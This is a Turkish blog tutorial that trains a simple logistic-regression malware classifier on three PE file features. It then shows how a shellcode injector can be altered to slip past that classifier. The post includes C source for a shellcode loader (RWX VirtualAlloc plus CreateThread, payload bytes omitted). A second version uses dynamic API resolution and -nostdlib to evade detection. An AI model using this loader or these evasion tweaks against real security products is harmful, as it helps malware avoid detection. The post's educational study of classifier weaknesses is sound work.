Takdim
2025 yılındayız (ben bu yazıyı yazdıktan birkaç saat sonra 2026 yılına girmiş olacağız bile) ve artık makine öğrenmesi (ML) sınıflandırıcıları ciddi her güvenlik ürününün ayrılmaz bir parçası haline geldi. Ancak bu teknolojilerin her yerde olmasına rağmen ML algoritmalarının nasıl çalıştığına veya özellikle de ofansif güvenlik amaçları doğrultusunda bu sistemlerin nasıl atlatılabileceğine dair açık kaynaklı araştırmalar hala hayli kısıtlı. Geçtiğimiz günlerde kıymetli arkadaşlarımla bu konuda bir konuşma yaptık ve fark ettim ki bu alanda giriş seviyesinde içerik bulmak deveye hendek atlatmaktan zor. Bu eksikliği gidermek ve camiaya bir nebze fayda sağlamak adına bu yazıyı kaleme aldım.
Bu makalenin amacı bir hayli ilkel ve düşük boyutlu olan bir ML sınıflandırıcısı örneği üzerinden giderek durumu aydınlatmaktır. Bilerek "kötü" seçilmiş verilerle bir sınıflandırıcı inşa edecek, sonra da onu ustalıkla atlatacak kompakt bir shellcode yükleyicisi geliştireceğiz. Gayemiz kesinlikle atlatma tekniklerini yüceltmek değil :) hem savunmacıların hem de ofansif taraftakilerin bu sistemlerin davranış mantığını ve bunlara karşı yapılan saldırıları daha iyi kavrayabilmesi için bir sezgi geliştirmektir.
Bir Sınıflandırıcı İnşa Etmek
Sınıflandırıcımızı besmelemizi çekerek kurmadan evvel elimize biraz veri geçmesi lazım. Veri toplama kısmında çok vakit kaybetmeyeceğiz çünkü BlackFes olarak birkaç gün önce erişime açtığımız Arşiv sayfasından rastgele malware numunelerini ve standart Windows dosyalarını (benign) yerel bir dizine indirdim. Dosyaları topladıktan sonra bu verileri birbirinden ayıracak hangi feature'ların işe yarayacağını düşündüm ve şu üçünde karar kıldım:
Feature extractor mekanizmamız kasten basit tutuldu. Önce dosyaları MZ header'ına göre filtreleyip sadece gerçek PE dosyalarını işleme alıyor ardından her dosyadan şu üç skaler özelliği çekiyor => boyut ağırlıklı bölüm entropisi, strings yoğunluğu ve dosya boyutunun 10 tabanında logaritması. Entropi, her bölümün ham baytları üzerinden hesaplanıyor ve bölüm boyutuyla ağırlıklandırılıyor bu da büyük, paketlenmiş veya sıkıştırılmış bölgelere karşı hassas bir ölçüm sağlıyor.
weighted_entropy = 0.0
try:
pe = pefile.PE(binary_path, fast_load=True)
section_entropies = []
section_sizes = []
for section in pe.sections:
data = section.get_data()
entropy = shannon_entropy(data)
section_entropies.append(entropy)
section_sizes.append(len(data))
if section_sizes:
weighted_entropy = np.average(section_entropies, weights=section_sizes)
except Exception:
weighted_entropy = 0.0
Strings yoğunluğu bir dosyanın boyutuna oranla ne kadar insan tarafından okunabilir materyal (ASCII karakterler) içerdiğini ölçer. Bu, sembolleri temizlenmiş (stripped) veya paketlenmiş zaralı yazılımları saptamada hayli işe yarar.
min_len = 4
count_strings = 0
current = bytearray()
printable = set(bytes(string.printable, "ascii"))
with open(binary_path, "rb") as f:
raw_bytes = f.read()
for b in raw_bytes:
if b in printable and b not in b"\r\n\t":
current.append(b)
else:
if len(current) >= min_len:
count_strings += 1
current = bytearray()
if len(current) >= min_len:
count_strings += 1
strings_density = count_strings / file_size_kb
return np.array([weighted_entropy, strings_density, log_size], dtype=np.float32)
Dosya boyutunun logaritması ise devasa yükleme dosyalarının (installers) sayısal verileri domine etmemesi için kullanılan kompakt bir ölçektir.
file_size = os.path.getsize(binary_path)
file_size_kb = max(file_size / 1024.0, 1e-6)
log_size = math.log10(file_size + 1)
Betik, mümkün olan yerlerde pefile kütüphanesini kullanır, parse hatalarında güvenli varsayılan değerlere sorunsuz bir şekilde geri döner ve f1_entropy, f2_strings_density, f3_log_size, label satırlarını pe_features.csv dosyasına yazar (etiketler her dizin için manuel olarak atanıyor). Bu süreç bize üzerinde sezgi geliştirebileceğimiz küçük ve yorumlanabilir bir veri kümesi sağlayacak.
| f1_entropy | f2_strings_density | f3_log_size | label |
|---|---|---|---|
| 6.0099654 | 2.7407408 | 5.043728 | 1 |
| 6.0099654 | 12.987317 | 4.891543 | 1 |
| ... | ... | ... | ... |
| 3.9541223 | 11.539474 | 4.891119 | 0 |
| 5.556493 | 14.348983 | 5.582483 | 0 |
Bu blog yazısında, Öklid uzayında görselleştirmeyi kolaylaştırmak adına sadece üç özellik seçtim. Bu sayede verilerimizi x-y-z ekseninde rahatça grafik haline getirebiliyoruz.
Grafiğin profilinden tam anlaşılamasa da elimizdeki verilerde iyi huylu yani benign ve zararlı/malware örnekler arasında belirgin bir ayrım mevcut.
Modeli eğitmeden evvel hangi algoritmayı kullanacağımızı seçmemiz lazım. Ben burada LogisticRegression yöntemini tercih ettim. Bu algoritma, feature'lerin ölçeğine (scale) karşı hayli hassas. Yani bir eksendeki devasa değerler sınıflandırma sonucunu tek başına domine edebilir. Bunu engellemek ve her özelliğe eşit söz hakkı tanımak için bir StandardScaler kullanarak verileri standardize etmemiz elzemdir.
df = pd.read_csv("pe_features.csv")
X = df.drop(columns=["label"]).values
y = df["label"].values
scaler = StandardScaler()
X = scaler.fit_transform(X)
Veriler normalize edildikten sonra, onları train ve test setlerine ayırıyoruz. Modeli initialize edip istenen performansa ulaşana kadar "epoch" adı verilen eğitim turları üzerinden döngüye sokuyoruz.
X_train, X_test, y_train, y_test = train_test_split(
X, y, test_size=0.20, random_state=42
)
train_dataset = PEDataset(X_train, y_train)
test_dataset = PEDataset(X_test, y_test)
train_loader = DataLoader(train_dataset, batch_size=20, shuffle=True)
input_dim = X_train.shape[1]
model = LogisticRegression(input_dim)
criterion = nn.BCEWithLogitsLoss()
optimizer = optim.SGD(model.parameters(), lr=0.01)
Lojistik regresyon modelimizi eğittikten sonra hem modeli hem de eğitim sırasında kullandığımız ölçekleyiciyi (scaler) kaydetmemiz gerekir. Bu ikisine de erişimimizin olması oldukça önemlidir.
torch.save(model.state_dict(), "logistic_pe_model.pth")
print("\nModel saved to logistic_pe_model.pth")
import joblib
joblib.dump(scaler, "scaler.pkl")
print("Scaler saved to scaler.pkl")
Aynen eğitim aşamasında olduğu gibi, ölçekleyici (scaler) yeni verilerin de modelimiz için doğru ölçeğe dönüştürülmesini sağlar.
Sınıflandırıcıyı Tanımak
Artık elimizde kaydedilmiş bir model ve bir ölçekleyici (scaler) var. Şimdi yapacağımız iş, lojistik regresyonu feature uzayımıza yansıtmak. Bir sınıflandırma probleminde iyi ve kötüyü ayıran bu sınıra Karar Sınırı (Decision Boundary) denir.
Bu karar sınırı (düzlem), feature uzayımızda iyi ve kötü noktaları birbirinden ayıran görünmez bir duvardır. Aslında eğitim verilerimize lojistik regresyon algoritmasını uyguladığımızda elde ettiğimiz şeyin ta kendisidir.
Modelin performansını ölçmek için hızlıca basit bir injector inşa edelim.
#include <windows.h>
#include <stdio.h>
UCHAR payload[] = {
[...snip...]
};
INT main(){
PVOID pPayload = NULL;
HANDLE hThread = NULL;
SIZE_T szPayloadSize = sizeof(payload);
pPayload = VirtualAlloc(NULL, szPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(pPayload, payload, szPayloadSize);
hThread = CreateThread(NULL, 0x0, (LPTHREAD_START_ROUTINE) pPayload, NULL, 0x0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
Ardından injector.exe dosyamızı feature extractor ve ölçekleyiciye (scaler) aktarabilir ve son olarak feature vektörünü sınıflandırma yapması için modele iletebiliriz.
def classify(binary_path):
scaler = joblib.load("scaler.pkl")
raw_features = extract_features(binary_path).reshape(1, -1)
features = scaler.transform(raw_features)
input_dim = features.shape[1]
model = LogisticRegression(input_dim)
model.load_state_dict(torch.load("logistic_pe_model.pth", map_location="cpu"))
model.eval()
X = torch.tensor(features.astype("float32"))
with torch.no_grad():
logits = model(X)
prob = torch.sigmoid(logits).item()
label = 1 if prob >= 0.5 else 0
verdict = "MALWARE" if label == 1 else "BENIGN"
print(f"File: {binary_path}")
print(f"Probability of malware: {prob:.4f}")
print(f"Classification: {verdict}")
Modelimizin injector'ü doğru bir şekilde kötü amaçlı (malicious) olarak sınıflandırdığını görüyoruz.
Modelimiz çok mükemmel olmasa da meramımızı anlatacak kadar iş görüyor. Şimdi bu inject'i üç boyutlu feature uzayımızda bir noktaya oturtalım.
Bu perspektiften baktığımızda injector dosyamızın karar sınırının "zararlı" tarafında kaldığını müşahede ediyoruz. Ancak talihimiz yaver gidiyor, dosyamız sınıra hayli yakın. Yani üzerinde ufak tefek oynamalar yaparsak onu sınırın öbür tarafına itebiliriz.
Sınıflandırıcıyı Atlatmak (Evasion)
Grafiğe baktığımızda sezgisel olarak şunu anlıyoruz => Dosyamızı "iyi huylu" göstermek için ya yukarı doğru (boyutu artırarak) ya da sola doğru (string yoğunluğunu artırarak) hareket etmeliyiz. Bu özellikler aslında bir dereceye kadar birbirini dengeleyici yani otokontrol sağlayan bir vaziyettedir. Eğer string sayısını artırmadan dosyayı şişirirseniz sınıflandırma sonucunuzu daha da kötü etkileyebilirsiniz. Bununla birlikte ölçeklendirme öncesinde dikey log(boyut) ekseni logaritmik bir ölçekteyken string yoğunluğu değildir. Bu durum karar sınırını geçip "iyi huylu" (benign) alana girmek için dosya boyutunu güvenli bir şekilde küçültebileceğimiz ve string sayısını artırarak sola doğru hareket edebileceğimiz anlamına gelir.
Tam burada kurnazca bir hamle yapalım.. WinAPI çağrılarımızı dinamik olarak (GetProcAddress) çözelim ve standart kütüphane şişkinliğinden kurtulmak için doğrudan CRT'ye bağlayalım (-nostdlib).
#include <windows.h>
#include <stdio.h>
__attribute__((section(".text"))) UCHAR payload[] = {
[...snip...]
};
typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD (WINAPI * WaitForSingleObject_t)(HANDLE hHandle, DWORD dwMilliseconds);
INT main(){
PVOID pPayload = NULL;
HANDLE hThread = NULL;
SIZE_T szPayloadSize = sizeof(payload);
HMODULE hKernel32 = NULL;
VirtualAlloc_t pVirtualAlloc = NULL;
CreateThread_t pCreateThread = NULL;
WaitForSingleObject_t pWaitForSingleObject = NULL;
hKernel32 = GetModuleHandleA("kernel32.dll");
pVirtualAlloc = (VirtualAlloc_t) GetProcAddress(hKernel32, "VirtualAlloc");
pCreateThread = (CreateThread_t) GetProcAddress(hKernel32, "CreateThread");
pWaitForSingleObject = (WaitForSingleObject_t) GetProcAddress(hKernel32, "WaitForSingleObject");
pPayload = pVirtualAlloc(NULL, szPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(pPayload, payload, szPayloadSize);
hThread = pCreateThread(NULL, 0x0, (LPTHREAD_START_ROUTINE) pPayload, NULL, 0x0, NULL);
pWaitForSingleObject(hThread, INFINITE);
return 0;
}
Bu ufak değişiklikler injector'ümüzü karar sınırının öteki yakasına geçirmeye yeterlidir.
Şimdi bu yeni noktayı uzayımızda işaretleyip eskisiyle kıyaslayalım.
Gördüğünüz gibi, kaynak kodda yapılan minik oynamalarla işlevsel olarak aynı olan bir shellcode loader'ı "iyi huylu" göstermeyi başardık. Neden? Çünkü API'lerin dinamik olarak çözülmesi dosyamıza daha fazla string ekledi ve -nostdlib ise gereksiz bileşenleri atarak boyutu küçülttü. Bu iki hamle birleşince string yoğunluğu arttı ve bizi karar sınırının "iyi huylu" tarafına taşıdı.
İçgörüler
Bu sınıflandırıcıların nasıl manipüle edilebileceğine dair en temel ve ilkel örnekti. Modern ML sınıflandırıcıları binlerce feature üzerinde çalışır. Bu kadar çok boyutlu bir yapıda bizim bu üç boyutlu uzaydaki "sola kay, yukarı çık" mantığı her zaman bu kadar net işlemez.
Ayrıca gerçek dünyadaki savunma sistemleri sadece dosya özelliklerine bakmaz. Dinamik davranışlara, telemetri verilerine, itibar (reputation) sistemlerine ve memory analizine de odaklanır. Bu blog yazısında bunları kapsam dışı bıraktık ama kulağınıza küpe olsun.
Sonuç? Bu yazı kasten basitleştirilmiş veri setleri üzerinden ML sınıflandırıcılarının geometrisini ve bir saldırganın bu düzlemleri nasıl manipüle edebileceğini anlamak için kaleme alınmıştır. Buradaki örnekler modern, karmaşık savunma sistemlerini tam olarak temsil etmez. Ancak şeffaf bir sınıflandırıcı üzerinden yaptığımız bu "itme" hamlesi, bize özelliklerin kırılganlığı ve savunmacıların hangi dengeleri gözetmesi gerektiği konusunda kıymetli bir sezgi kazandırır.